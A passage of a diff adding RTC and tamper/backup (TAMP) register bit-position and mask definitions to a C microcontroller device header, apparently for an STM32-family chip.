RTC_SR_ALRAF_Msk (0x1UL << RTC_SR_ALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SR_ALRAF RTC_SR_ALRAF_Msk +#define RTC_SR_ALRBF_Pos (1UL) +#define RTC_SR_ALRBF_Msk (0x1UL << RTC_SR_ALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SR_ALRBF RTC_SR_ALRBF_Msk +#define RTC_SR_WUTF_Pos (2UL) +#define RTC_SR_WUTF_Msk (0x1UL << RTC_SR_WUTF_Pos) /*!< 0x00000004 */ +#define RTC_SR_WUTF RTC_SR_WUTF_Msk +#define RTC_SR_TSF_Pos (3UL) +#define RTC_SR_TSF_Msk (0x1UL << RTC_SR_TSF_Pos) /*!< 0x00000008 */ +#define RTC_SR_TSF RTC_SR_TSF_Msk +#define RTC_SR_TSOVF_Pos (4UL) +#define RTC_SR_TSOVF_Msk (0x1UL << RTC_SR_TSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SR_TSOVF RTC_SR_TSOVF_Msk +#define RTC_SR_ITSF_Pos (5UL) +#define RTC_SR_ITSF_Msk (0x1UL << RTC_SR_ITSF_Pos) /*!< 0x00000020 */ +#define RTC_SR_ITSF RTC_SR_ITSF_Msk +#define RTC_SR_SSRUF_Pos (6UL) +#define RTC_SR_SSRUF_Msk (0x1UL << RTC_SR_SSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SR_SSRUF RTC_SR_SSRUF_Msk + +/******************** Bits definition for RTC_MISR register *****************/ +#define RTC_MISR_ALRAMF_Pos (0UL) +#define RTC_MISR_ALRAMF_Msk (0x1UL << RTC_MISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_MISR_ALRAMF RTC_MISR_ALRAMF_Msk +#define RTC_MISR_ALRBMF_Pos (1UL) +#define RTC_MISR_ALRBMF_Msk (0x1UL << RTC_MISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_MISR_ALRBMF RTC_MISR_ALRBMF_Msk +#define RTC_MISR_WUTMF_Pos (2UL) +#define RTC_MISR_WUTMF_Msk (0x1UL << RTC_MISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_MISR_WUTMF RTC_MISR_WUTMF_Msk +#define RTC_MISR_TSMF_Pos (3UL) +#define RTC_MISR_TSMF_Msk (0x1UL << RTC_MISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_MISR_TSMF RTC_MISR_TSMF_Msk +#define RTC_MISR_TSOVMF_Pos (4UL) +#define RTC_MISR_TSOVMF_Msk (0x1UL << RTC_MISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_MISR_TSOVMF RTC_MISR_TSOVMF_Msk +#define RTC_MISR_ITSMF_Pos (5UL) +#define RTC_MISR_ITSMF_Msk (0x1UL << RTC_MISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_MISR_ITSMF RTC_MISR_ITSMF_Msk +#define RTC_MISR_SSRUMF_Pos (6UL) +#define RTC_MISR_SSRUMF_Msk (0x1UL << RTC_MISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_MISR_SSRUMF RTC_MISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SMISR register *****************/ +#define RTC_SMISR_ALRAMF_Pos (0UL) +#define RTC_SMISR_ALRAMF_Msk (0x1UL << RTC_SMISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_SMISR_ALRAMF RTC_SMISR_ALRAMF_Msk +#define RTC_SMISR_ALRBMF_Pos (1UL) +#define RTC_SMISR_ALRBMF_Msk (0x1UL << RTC_SMISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_SMISR_ALRBMF RTC_SMISR_ALRBMF_Msk +#define RTC_SMISR_WUTMF_Pos (2UL) +#define RTC_SMISR_WUTMF_Msk (0x1UL << RTC_SMISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_SMISR_WUTMF RTC_SMISR_WUTMF_Msk +#define RTC_SMISR_TSMF_Pos (3UL) +#define RTC_SMISR_TSMF_Msk (0x1UL << RTC_SMISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_SMISR_TSMF RTC_SMISR_TSMF_Msk +#define RTC_SMISR_TSOVMF_Pos (4UL) +#define RTC_SMISR_TSOVMF_Msk (0x1UL << RTC_SMISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_SMISR_TSOVMF RTC_SMISR_TSOVMF_Msk +#define RTC_SMISR_ITSMF_Pos (5UL) +#define RTC_SMISR_ITSMF_Msk (0x1UL << RTC_SMISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_SMISR_ITSMF RTC_SMISR_ITSMF_Msk +#define RTC_SMISR_SSRUMF_Pos (6UL) +#define RTC_SMISR_SSRUMF_Msk (0x1UL << RTC_SMISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_SMISR_SSRUMF RTC_SMISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SCR register ******************/ +#define RTC_SCR_CALRAF_Pos (0UL) +#define RTC_SCR_CALRAF_Msk (0x1UL << RTC_SCR_CALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SCR_CALRAF RTC_SCR_CALRAF_Msk +#define RTC_SCR_CALRBF_Pos (1UL) +#define RTC_SCR_CALRBF_Msk (0x1UL << RTC_SCR_CALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SCR_CALRBF RTC_SCR_CALRBF_Msk +#define RTC_SCR_CWUTF_Pos (2UL) +#define RTC_SCR_CWUTF_Msk (0x1UL << RTC_SCR_CWUTF_Pos) /*!< 0x00000004 */ +#define RTC_SCR_CWUTF RTC_SCR_CWUTF_Msk +#define RTC_SCR_CTSF_Pos (3UL) +#define RTC_SCR_CTSF_Msk (0x1UL << RTC_SCR_CTSF_Pos) /*!< 0x00000008 */ +#define RTC_SCR_CTSF RTC_SCR_CTSF_Msk +#define RTC_SCR_CTSOVF_Pos (4UL) +#define RTC_SCR_CTSOVF_Msk (0x1UL << RTC_SCR_CTSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SCR_CTSOVF RTC_SCR_CTSOVF_Msk +#define RTC_SCR_CITSF_Pos (5UL) +#define RTC_SCR_CITSF_Msk (0x1UL << RTC_SCR_CITSF_Pos) /*!< 0x00000020 */ +#define RTC_SCR_CITSF RTC_SCR_CITSF_Msk +#define RTC_SCR_CSSRUF_Pos (6UL) +#define RTC_SCR_CSSRUF_Msk (0x1UL << RTC_SCR_CSSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SCR_CSSRUF RTC_SCR_CSSRUF_Msk + +/******************** Bits definition for RTC_ALRABINR register ******************/ +#define RTC_ALRABINR_SS_Pos (0UL) +#define RTC_ALRABINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRABINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRABINR_SS RTC_ALRABINR_SS_Msk + +/******************** Bits definition for RTC_ALRBBINR register ******************/ +#define RTC_ALRBBINR_SS_Pos (0UL) +#define RTC_ALRBBINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRBBINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRBBINR_SS RTC_ALRBBINR_SS_Msk + +/******************************************************************************/ +/* */ +/* Tamper and backup register (TAMP) */ +/* */ +/******************************************************************************/ +/******************** Bits definition for TAMP_CR1 register *****************/ +#define TAMP_CR1_TAMP1E_Pos (0UL) +#define TAMP_CR1_TAMP1E_Msk (0x1UL << TAMP_CR1_TAMP1E_Pos) /*!< 0x00000001 */ +#define TAMP_CR1_TAMP1E TAMP_CR1_TAMP1E_Msk +#define TAMP_CR1_TAMP2E_Pos (1UL) +#define TAMP_CR1_TAMP2E_Msk (0x1UL << TAMP_CR1_TAMP2E_Pos) /*!< 0x00000002 */ +#define TAMP_CR1_TAMP2E TAMP_CR1_TAMP2E_Msk +#define TAMP_CR1_TAMP3E_Pos (2UL) +#define TAMP_CR1_TAMP3E_Msk (0x1UL << TAMP_CR1_TAMP3E_Pos) /*!< 0x00000004 */ +#define TAMP_CR1_TAMP3E TAMP_CR1_TAMP3E_Msk +#define TAMP_CR1_TAMP4E_Pos (3UL) +#define TAMP_CR1_TAMP4E_Msk (0x1UL << TAMP_CR1_TAMP4E_Pos) /*!< 0x00000008 */ +#define TAMP_CR1_TAMP4E TAMP_CR1_TAMP4E_Msk +#define TAMP_CR1_TAMP5E_Pos (4UL) +#define TAMP_CR1_TAMP5E_Msk (0x1UL << TAMP_CR1_TAMP5E_Pos) /*!< 0x00000010 */ +#define TAMP_CR1_TAMP5E TAMP_CR1_TAMP5E_Msk +#define TAMP_CR1_TAMP6E_Pos (5UL) +#define TAMP_CR1_TAMP6E_Msk (0x1UL << TAMP_CR1_TAMP6E_Pos) /*!< 0x00000020 */ +#define TAMP_CR1_TAMP6E TAMP_CR1_TAMP6E_Msk +#define TAMP_CR1_TAMP7E_Pos (6UL) +#define TAMP_CR1_TAMP7E_Msk (0x1UL << TAMP_CR1_TAMP7E_Pos) /*!< 0x00000040 */ +#define TAMP_CR1_TAMP7E TAMP_CR1_TAMP7E_Msk +#define TAMP_CR1_TAMP8E_Pos (7UL) +#define TAMP_CR1_TAMP8E_Msk (0x1UL << TAMP_CR1_TAMP8E_Pos) /*!< 0x00000080 */ +#define TAMP_CR1_TAMP8E TAMP_CR1_TAMP8E_Msk +#define TAMP_CR1_ITAMP1E_Pos (16UL) +#define TAMP_CR1_ITAMP1E_Msk (0x1UL << TAMP_CR1_ITAMP1E_Pos) /*!< 0x00010000 */ +#define TAMP_CR1_ITAMP1E TAMP_CR1_ITAMP1E_Msk +#define TAMP_CR1_ITAMP2E_Pos (17UL) +#define TAMP_CR1_ITAMP2E_Msk (0x1UL << TAMP_CR1_ITAMP2E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP2E TAMP_CR1_ITAMP2E_Msk +#define TAMP_CR1_ITAMP3E_Pos (18UL) +#define TAMP_CR1_ITAMP3E_Msk (0x1UL << TAMP_CR1_ITAMP3E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP3E TAMP_CR1_ITAMP3E_Msk +#define TAMP_CR1_ITAMP5E_Pos (20UL) +#define TAMP_CR1_ITAMP5E_Msk (0x1UL << TAMP_CR1_ITAMP5E_Pos) /*!< 0x00100000 */ +#define TAMP_CR1_ITAMP5E TAMP_CR1_ITAMP5E_Msk +#define TAMP_CR1_ITAMP6E_Pos (21UL) +#define TAMP_CR1_ITAMP6E_Msk (0x1UL << TAMP_CR1_ITAMP6E_Pos) /*!< 0x00200000 */ +#define TAMP_CR1_ITAMP6E TAMP_CR1_ITAMP6E_Msk +#define TAMP_CR1_ITAMP7E_Pos (22UL) +#define TAMP_CR1_ITAMP7E_Msk (0x1UL << TAMP_CR1_ITAMP7E_Pos) /*!< 0x00400000 */ +#define TAMP_CR1_ITAMP7E TAMP_CR1_ITAMP7E_Msk +#define TAMP_CR1_ITAMP8E_Pos (23UL) +#define TAMP_CR1_ITAMP8E_Msk (0x1UL << TAMP_CR1_ITAMP8E_Pos) /*!< 0x00800000 */ +#define TAMP_CR1_ITAMP8E TAMP_CR1_ITAMP8E_Msk +#define TAMP_CR1_ITAMP9E_Pos (24UL) +#define TAMP_CR1_ITAMP9E_Msk (0x1UL << TAMP_CR1_ITAMP9E_Pos) /*!< 0x01000000 */ +#define TAMP_CR1_ITAMP9E TAMP_CR1_ITAMP9E_Msk +#define TAMP_CR1_ITAMP11E_Pos (26UL) +#define TAMP_CR1_ITAMP11E_Msk (0x1UL << TAMP_CR1_ITAMP11E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP11E TAMP_CR1_ITAMP11E_Msk +#define TAMP_CR1_ITAMP12E_Pos (27UL) +#define TAMP_CR1_ITAMP12E_Msk (0x1UL << TAMP_CR1_ITAMP12E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP12E TAMP_CR1_ITAMP12E_Msk +#define TAMP_CR1_ITAMP13E_Pos (28UL) +#define TAMP_CR1_ITAMP13E_Msk (0x1UL << TAMP_CR1_ITAMP13E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP13E TAMP_CR1_ITAMP13E_Msk + +/******************** Bits definition for TAMP_CR2 register *****************/ +#define TAMP_CR2_TAMP1NOERASE_Pos (0UL) +#define TAMP_CR2_TAMP1NOERASE_Msk (0x1UL << TAMP_CR2_TAMP1NOERASE_Pos) /*!< 0x00000001 */ +#define TAMP_CR2_TAMP1NOERASE TAMP_CR2_TAMP1NOERASE_Msk +#define TAMP_CR2_TAMP2NOERASE_Pos (1UL) +#define TAMP_CR2_TAMP2NOERASE_Msk (0x1UL << TAMP_CR2_TAMP2NOERASE_Pos) /*!< 0x00000002 */ +#define TAMP_CR2_TAMP2NOERASE TAMP_CR2_TAMP2NOERASE_Msk +#define TAMP_CR2_TAMP3NOERASE_Pos (2UL) +#define TAMP_CR2_TAMP3NOERASE_Msk (0x1UL << TAMP_CR2_TAMP3NOERASE_Pos) /*!< 0x00000004 */ +#define TAMP_CR2_TAMP3NOERASE TAMP_CR2_TAMP3NOERASE_Msk +#define TAMP_CR2_TAMP4NOERASE_Pos (3UL) +#define TAMP_CR2_TAMP4NOERASE_Msk (0x1UL << TAMP_CR2_TAMP4NOERASE_Pos) /*!< 0x00000008 */ +#define TAMP_CR2_TAMP4NOERASE TAMP_CR2_TAMP4NOERASE_Msk +#define TAMP_CR2_TAMP5NOERASE_Pos (4UL) +#define TAMP_CR2_TAMP5NOERASE_Msk (0x1UL << TAMP_CR2_TAMP5NOERASE_Pos) /*!< 0x00000010 */ +#define TAMP_CR2_TAMP5NOERASE TAMP_CR2_TAMP5NOERASE_Msk +#define TAMP_CR2_TAMP6NOERASE_Pos (5UL) +#define TAMP_CR2_TAMP6NOERASE_Msk (0x1UL << TAMP_CR2_TAMP6NOERASE_Pos) /*!< 0x00000020 */ +#define TAMP_CR2_TAMP6NOERASE TAMP_CR2_TAMP6NOERASE_Msk +#define TAMP_CR2_TAMP7NOERASE_Pos (6UL) +#define TAMP_CR2_TAMP7NOERASE_Msk (0x1UL << TAMP_CR2_TAMP7NOERASE_Pos) /*!< 0x00000040 */ +#define TAMP_CR2_TAMP7NOERASE TAMP_CR2_TAMP7NOERASE_Msk +#define TAMP_CR2_TAMP8NOERASE_Pos (7UL) +#define TAMP_CR2_TAMP8NOERASE_Msk (0x1UL << TAMP_CR2_TAMP8NOERASE_Pos) /*!< 0x00000080 */ +#define TAMP_CR2_TAMP8NOERASE TAMP_CR2_TAMP8NOERASE_Msk +#define TAMP_CR2_TAMP1MSK_Pos (16UL) +#define TAMP_CR2_TAMP1MSK_Msk (0x1UL << TAMP_CR2_TAMP1MSK_Pos) /*!< 0x00010000 */ +#define TAMP_CR2_TAMP1MSK TAMP_CR2_TAMP1MSK_Msk +#define TAMP_CR2_TAMP2MSK_Pos (17UL) +#define TAMP_CR2_TAMP2MSK_Msk (0x1UL << TAMP_CR2_TAMP2MSK_Pos) /*!< 0x00020000 */ +#define TAMP_CR2_TAMP2MSK TAMP_CR2_TAMP2MSK_Msk +#define TAMP_CR2_TAMP3MSK_Pos (18UL) +#define TAMP_CR2_TAMP3MSK_Msk (0x1UL << TAMP_CR2_TAMP3MSK_Pos) /*!< 0x00040000 */ +#define TAMP_CR2_TAMP3MSK TAMP_CR2_TAMP3MSK_Msk +#define TAMP_CR2_BKBLOCK_Pos (22UL) +#define TAMP_CR2_BKBLOCK_Msk (0x1UL << TAMP_CR2_BKBLOCK_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKBLOCK TAMP_CR2_BKBLOCK_Msk +#define TAMP_CR2_BKERASE_Pos (23UL) +#define TAMP_CR2_BKERASE_Msk (0x1UL << TAMP_CR2_BKERASE_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKERASE TAMP_CR2_BKERASE_Msk +#define TAMP_CR2_TAMP1TRG_Pos (24UL) +#define TAMP_CR2_TAMP1TRG_Msk (0x1UL << TAMP_CR2_TAMP1TRG_Pos) /*!< 0x01000000 */ +#define TAMP_CR2_TAMP1TRG TAMP_CR2_TAMP1TRG_Msk +#define TAMP_CR2_TAMP2TRG_Pos (25UL) +#define TAMP_CR2_TAMP2TRG_Msk (0x1UL << TAMP_CR2_TAMP2TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP2TRG TAMP_CR2_TAMP2TRG_Msk +#define TAMP_CR2_TAMP3TRG_Pos (26UL) +#define TAMP_CR2_TAMP3TRG_Msk (0x1UL << TAMP_CR2_TAMP3TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP3TRG TAMP_CR2_TAMP3TRG_Msk +#define TAMP_CR2_TAMP4TRG_Pos (27UL) +#define TAMP_CR2_TAMP4TRG_Msk (0x1UL << TAMP_CR2_TAMP4TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP4TRG TAMP_CR2_TAMP4TRG_Msk +#define TAMP_CR2_TAMP5TRG_Pos (28UL) +#define TAMP_CR2_TAMP5TRG_Msk (0x1UL << TAMP_CR2_TAMP5TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP5TRG TAMP_CR2_TAMP5TRG_Msk +#define TAMP_CR2_TAMP6TRG_Pos (29UL) +#define TAMP_CR2_TAMP6TRG_Msk (0x1UL << TAMP_CR2_TAMP6TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP6TRG TAMP_CR2_TAMP6TRG_Msk +#define TAMP_CR2_TAMP7TRG_Pos (30UL) +#define TAMP_CR2_TAMP7TRG_Msk (0x1UL << TAMP_CR2_TAMP7TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP7TRG TAMP_CR2_TAMP7TRG_Msk +#define TAMP_CR2_TAMP8TRG_Pos (31UL) +#define TAMP_CR2_TAMP8TRG_Msk (0x1UL << TAMP_CR2_TAMP8TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP8TRG TAMP_CR2_TAMP8TRG_Msk + +/******************** Bits definition for TAMP_CR3 register *****************/ +#define TAMP_CR3_ITAMP1NOER_Pos (0UL) +#define TAMP_CR3_ITAMP1NOER_Msk (0x1UL << TAMP_CR3_ITAMP1NOER_Pos) /*!< 0x00000001 */ +#define TAMP_CR3_ITAMP1NOER TAMP_CR3_ITAMP1NOER_Msk +#define TAMP_CR3_ITAMP2NOER_Pos (1UL) +#define TAMP_CR3_ITAMP2NOER_Msk (0x1UL << TAMP_CR3_ITAMP2NOER_Pos) /*!< 0x00000002 */ +#define TAMP_CR3_ITAMP2NOER TAMP_CR3_ITAMP2NOER_Msk +#define TAMP_CR3_ITAMP3NOER_Pos (2UL) +#define TAMP_CR3_ITAMP3NOER_Msk (0x1UL << TAMP_CR3_ITAMP3NOER_Pos) /*!< 0x00000004 */ +#define TAMP_CR3_ITAMP3NOER TAMP_CR3_ITAMP3NOER_Msk +#define TAMP_CR3_ITAMP5NOER_Pos (4UL) +#define TAMP_CR3_ITAMP5NOER_Msk (0x1UL << TAMP_CR3_ITAMP5NOER_Pos) /*!< 0x00000010 */ +#define TAMP_CR3_ITAMP5NOER TAMP_CR3_ITAMP5NOER_Msk +#define TAMP_CR3_ITAMP6NOER_Pos (5UL) +#define TAMP_CR3_ITAMP6NOER_Msk (0x1UL << TAMP_CR3_ITAMP6NOER_Pos) /*!< 0x00000020 */ +#define TAMP_CR3_ITAMP6NOER TAMP_CR3_ITAMP6NOER_Msk +#define TAMP_CR3_ITAMP7NOER_Pos (6UL) +#define TAMP_CR3_ITAMP7NOER_Msk (0x1UL << TAMP_CR3_ITAMP7NOER_Pos) +#define TAMP_CR3_ITAMP7NOER TAMP_CR3_ITAMP7NOER_Msk +#define TAMP_CR3_ITAMP8NOER_Pos (7UL) +#define TAMP_CR3_ITAMP8NOER_Msk (0x1UL << TAMP_CR3_ITAMP8NOER_Pos) /*!< 0x00000040 */ +#define TAMP_CR3_ITAMP8NOER TAMP_CR3_ITAMP8NOER_Msk +#define TAMP_CR3_ITAMP9NOER_Pos (8UL) +#define TAMP_CR3_ITAMP9NOER_Msk (0x1UL << TAMP_CR3_ITAMP9NOER_Pos) /*!< 0x00000100 */ +#define TAMP_CR3_ITAMP9NOER TAMP_CR3_ITAMP9NOER_Msk +#define TAMP_CR3_ITAMP11NOER_Pos (10UL) +#define TAMP_CR3_ITAMP11NOER_Msk (0x1UL << TAMP_CR3_ITAMP11NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP11NOER TAMP_CR3_ITAMP11NOER_Msk +#define TAMP_CR3_ITAMP12NOER_Pos (11UL) +#define TAMP_CR3_ITAMP12NOER_Msk (0x1UL << TAMP_CR3_ITAMP12NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP12NOER TAMP_CR3_ITAMP12NOER_Msk +#define TAMP_CR3_ITAMP13NOER_Pos (12UL) +#define TAMP_CR3_ITAMP13NOER_Msk (0x1UL << TAMP_CR3_ITAMP13NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP13NOER TAMP_CR3_ITAMP13NOER_Msk + +/******************** Bits definition for TAMP_FLTCR register ***************/ +#define TAMP_FLTCR_TAMPFREQ_Pos (0UL) +#define TAMP_FLTCR_TAMPFREQ_Msk (0x7UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000007 */ +#define TAMP_FLTCR_TAMPFREQ TAMP_FLTCR_TAMPFREQ_Msk +#define TAMP_FLTCR_TAMPFREQ_0 (0x1UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000001 */ +#define TAMP_FLTCR_TAMPFREQ_1 (0x2UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000002 */ +#define TAMP_FLTCR_TAMPFREQ_2 (0x4UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000004 */ +#define TAMP_FLTCR_TAMPFLT_Pos (3UL) +#define TAMP_FLTCR_TAMPFLT_Msk (0x3UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000018 */ +#define TAMP_FLTCR_TAMPFLT TAMP_FLTCR_TAMPFLT_Msk +#define TAMP_FLTCR_TAMPFLT_0 (0x1UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000008 */ +#define TAMP_FLTCR_TAMPFLT_1 (0x2UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000010 */ +#define TAMP_FLTCR_TAMPPRCH_Pos (5UL) +#define TAMP_FLTCR_TAMPPRCH_Msk (0x3UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000060 */ +#define TAMP_FLTCR_TAMPPRCH TAMP_FLTCR_TAMPPRCH_Msk +#define TAMP_FLTCR_TAMPPRCH_0 (0x1UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000020 */ +#define TAMP_FLTCR_TAMPPRCH_1 (0x2UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000040 */ +#define TAMP_FLTCR_TAMPPUDIS_Pos (7UL) +#define TAMP_FLTCR_TAMPPUDIS_Msk (0x1UL << TAMP_FLTCR_TAMPPUDIS_Pos) /*!< 0x00000080 */ +#define TAMP_FLTCR_TAMPPUDIS TAMP_FLTCR_TAMPPUDIS_Msk + +/******************** Bits definition for TAMP_ATCR1 register ***************/ +#define TAMP_ATCR1_TAMP1AM_Pos (0UL) +#define TAMP_ATCR1_TAMP1AM_Msk (0x1UL << TAMP_ATCR1_TAMP1AM_Pos) /*!< 0x00000001 */ +#define TAMP_ATCR1_TAMP1AM TAMP_ATCR1_TAMP1AM_Msk +#define TAMP_ATCR1_TAMP2AM_Pos (1UL) +#define TAMP_ATCR1_TAMP2AM_Msk (0x1UL << TAMP_ATCR1_TAMP2AM_Pos) /*!< 0x00000002 */ +#define TAMP_ATCR1_TAMP2AM TAMP_ATCR1_TAMP2AM_Msk +#define TAMP_ATCR1_TAMP3AM_Pos (2UL) +#define TAMP_ATCR1_TAMP3AM_Msk (0x1UL << TAMP_ATCR1_TAMP3AM_Pos) /*!< 0x00000004 */ +#define TAMP_ATCR1_TAMP3AM TAMP_ATCR1_TAMP3AM_Msk +#define TAMP_ATCR1_TAMP4AM_Pos (3UL) +#define TAMP_ATCR1_TAMP4AM_Msk (0x1UL << TAMP_ATCR1_TAMP4AM_Pos) /*!< 0x00000008 */ +#define TAMP_ATCR1_TAMP4AM TAMP_ATCR1_TAMP4AM_Msk +#define TAMP_ATCR1_TAMP5AM_Pos (4UL) +#define TAMP_ATCR1_TAMP5AM_Msk (0x1UL << TAMP_ATCR1_TAMP5AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP5AM TAMP_ATCR1_TAMP5AM_Msk +#define TAMP_ATCR1_TAMP6AM_Pos (5UL) +#define TAMP_ATCR1_TAMP6AM_Msk (0x1UL << TAMP_ATCR1_TAMP6AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP6AM TAMP_ATCR1_TAMP6AM_Msk +#define TAMP_ATCR1_TAMP7AM_Pos (6UL) +#define TAMP_ATCR1_TAMP7AM_Msk (0x1UL << TAMP_ATCR1_TAMP7AM_Pos) /*!< 0x00000040 */ +#define TAMP_ATCR1_TAMP7AM TAMP_ATCR1_TAMP7AM_Msk +#define TAMP_ATCR1_TAMP8AM_Pos (7UL) +#define TAMP_ATCR1_TAMP8AM_Msk (0x1UL << TAMP_ATCR1_TAMP8AM_Pos) /*!< 0x00000080 */ +#define TAMP_ATCR1_TAMP8AM TAMP_ATCR1_TAMP8AM_Msk +#define TAMP_ATCR1_ATOSEL1_Pos (8UL) +#define TAMP_ATCR1_ATOSEL1_Msk (0x3UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000300 */ +#define TAMP_ATCR1_ATOSEL1 TAMP_ATCR1_ATOSEL1_Msk +#define TAMP_ATCR1_ATOSEL1_0 (0x1UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR1_ATOSEL1_1 (0x2UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR1_ATOSEL2_Pos (10UL) +#define TAMP_ATCR1_ATOSEL2_Msk (0x3UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000C00 */ +#define TAMP_ATCR1_ATOSEL2 TAMP_ATCR1_ATOSEL2_Msk +#define TAMP_ATCR1_ATOSEL2_0 (0x1UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR1_ATOSEL2_1 (0x2UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR1_ATOSEL3_Pos (12UL) +#define TAMP_ATCR1_ATOSEL3_Msk (0x3UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00003000 */ +#define TAMP_ATCR1_ATOSEL3 TAMP_ATCR1_ATOSEL3_Msk +#define TAMP_ATCR1_ATOSEL3_0 (0x1UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR1_ATOSEL3_1 (0x2UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR1_ATOSEL4_Pos (14UL) +#define TAMP_ATCR1_ATOSEL4_Msk (0x3UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x0000C000 */ +#define TAMP_ATCR1_ATOSEL4 TAMP_ATCR1_ATOSEL4_Msk +#define TAMP_ATCR1_ATOSEL4_0 (0x1UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR1_ATOSEL4_1 (0x2UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR1_ATCKSEL_Pos (16UL) +#define TAMP_ATCR1_ATCKSEL_Msk (0xFUL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x000F0000 */ +#define TAMP_ATCR1_ATCKSEL TAMP_ATCR1_ATCKSEL_Msk +#define TAMP_ATCR1_ATCKSEL_0 (0x1UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR1_ATCKSEL_1 (0x2UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR1_ATCKSEL_2 (0x4UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR1_ATCKSEL_3 (0x8UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR1_ATPER_Pos (24UL) +#define TAMP_ATCR1_ATPER_Msk (0x7UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x07000000 */ +#define TAMP_ATCR1_ATPER TAMP_ATCR1_ATPER_Msk +#define TAMP_ATCR1_ATPER_0 (0x1UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR1_ATPER_1 (0x2UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR1_ATPER_2 (0x4UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR1_ATOSHARE_Pos (30UL) +#define TAMP_ATCR1_ATOSHARE_Msk (0x1UL << TAMP_ATCR1_ATOSHARE_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR1_ATOSHARE TAMP_ATCR1_ATOSHARE_Msk +#define TAMP_ATCR1_FLTEN_Pos (31UL) +#define TAMP_ATCR1_FLTEN_Msk (0x1UL << TAMP_ATCR1_FLTEN_Pos) /*!< 0x80000000 */ +#define TAMP_ATCR1_FLTEN 